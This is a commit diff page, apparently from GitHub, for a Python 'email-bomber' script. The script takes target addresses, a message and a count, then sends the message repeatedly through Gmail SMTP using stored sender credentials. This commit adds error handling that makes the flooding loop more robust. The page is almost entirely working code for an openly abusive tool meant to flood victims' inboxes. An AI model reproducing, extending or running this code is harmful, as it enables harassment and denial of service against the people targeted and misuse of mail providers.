You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)") #Tells user how to email-bomb more than one email.
15
15
receiver=input("Specify the email(s) you would like to email-bomb -> ") #Enter the email(s) that you would like to email-bomb.
16
16
message=input("Enter your email-bomber message -> ") #The message that the email user(s) will receive.
17
-
count=int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
18
-
17
+
try:
18
+
count=int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
19
+
exceptValueError:
20
+
print("Please enter a number for the amount of emails to be sent.")
open("User_Credentials/sender.txt", "xt").write(sender) #Creates and saves user's Gmail address to User_Credentials folder.
35
-
open("User_Credentials/app_password.txt", "xt").write(app_password) #Creates and saves user's Gmail app password to User_Credentials folder.
36
-
input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
35
+
try:
36
+
ifnotpath.exists("User_Credentials"): #If user credentials does not exist, creates and saves credential files.
37
+
#If there are no errors in credentials, save user information after SMTP verification.
open("User_Credentials/sender.txt", "xt").write(sender) #Creates and saves user's Gmail address to User_Credentials folder.
40
+
open("User_Credentials/app_password.txt", "xt").write(app_password) #Creates and saves user's Gmail app password to User_Credentials folder.
41
+
input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
42
+
exceptOSError: #Operating system error.
43
+
print("\nError:\nThere was an error saving your credentials.")
37
44
38
45
print("\nEmail-bomber has started...\n")
39
46
40
47
foriinrange(count): #Amount of messages to be sent.
41
48
foremail_receiverinreceiver.split(","): #Loops through emails to send emails to.
42
-
server.sendmail(from_addr=sender, to_addrs=email_receiver, msg=message) #Sends email to receiver.
43
-
print(f"Email-bombing {email_receiver}...")
49
+
try:
50
+
print(f"Email-bombing {email_receiver}...")
51
+
server.sendmail(from_addr=sender, to_addrs=email_receiver, msg=message) #Sends email to receiver.
52
+
print("Email sent successfully!")
53
+
exceptsmtplib.SMTPExceptionaserror:
54
+
print(f"Error:\n{error}")
55
+
continue
56
+
44
57
45
58
input("\nEmail-bomber was successful...\nEnter to exit...") #Email-bomber finished.
0 commit comments